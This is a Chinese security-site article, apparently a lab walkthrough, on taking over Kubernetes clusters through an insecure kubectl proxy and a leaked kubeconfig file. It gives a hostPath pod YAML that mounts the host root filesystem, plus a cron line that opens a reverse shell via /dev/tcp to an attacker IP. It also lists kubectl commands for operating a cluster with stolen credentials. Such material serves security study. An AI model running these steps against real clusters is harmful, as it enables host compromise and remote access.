freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

K8S Kubelet-Proxy不安全配置、Kubeconfig文件泄露
2023-11-04 19:02:53

Kubelet Proxy(kubelet-proxy)是 Kubernetes 中的一个关键组件,负责管理 Pod 之间的网络通信,以及实现网络策略。使用Kubectl proxy将API Server外置时,攻击者可以通过使用和K8s API Server未授权一样的漏洞实施攻击操作。

Kubernetes kubeconfig 是连接和配置 Kubernetes 集群所需的文件,包括集群信息、用户凭据和上下文。攻击者一旦拿到kubeconfig文件,就可以用该文件操作集群,从而接管所有容器。

Kubelet-Proxy不安全配置

安装k8s集群

./metarget gadget install k8s --version 1.16.5

使用kubectl proxy命令就可以使API server监听在集群的8080端口上

kubectl proxy --port=8080 --address=192.168.159.236 --api-prefix=/ --disable-filter=true

在攻击机上访问集群的API server服务器

攻击机上新建yaml文件:myapp.yaml,目的是让集群新建一个pod并挂载上宿主机的/mnt.

apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

使用kubectl -s新建

kubectl -s http://192.168.159.236:8080 create -f Yaml/myapp.yaml查看新建的pod

kubectl -s http://192.168.159.236:8080 get pods

进入容器

kubectl -s http://192.168.159.236:8080 exec -it myapp /bin/bash

写计划任务反弹宿主机的shell

echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/33333 0>&1"' >> /mnt/etc/cront

攻击机获取到shell

Kubeconfig文件泄露

如果攻击者通过webshell、GitHub等特定方式拿到该K8s配置的Config文件,就可以用该文件操作集群,从而接管所有容器。
找到config文件有如下三种判断方式:
如果提供了--kubeconfig参数,就使用提供的kubeconfig文件。
如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件。
如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件$HOME/.kube/config。
之后通过kubectl --kubeconfig指定设置config文件,就可操作对应的集群容器了

在我本地的集群环境中执行echo $HOME/.kube/config

将此文件复制到攻击机上

在攻击机上查看

kubectl --kubeconfig config config view

查看pod

kubectl --kubeconfig config get pods

执行命令

kubectl --kubeconfig config exec myapp -- hostname

进入容器

kubectl --kubeconfig config exec -it myapp /bin/bash

也可以新建容器或者其他攻击方法。

# 系统安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录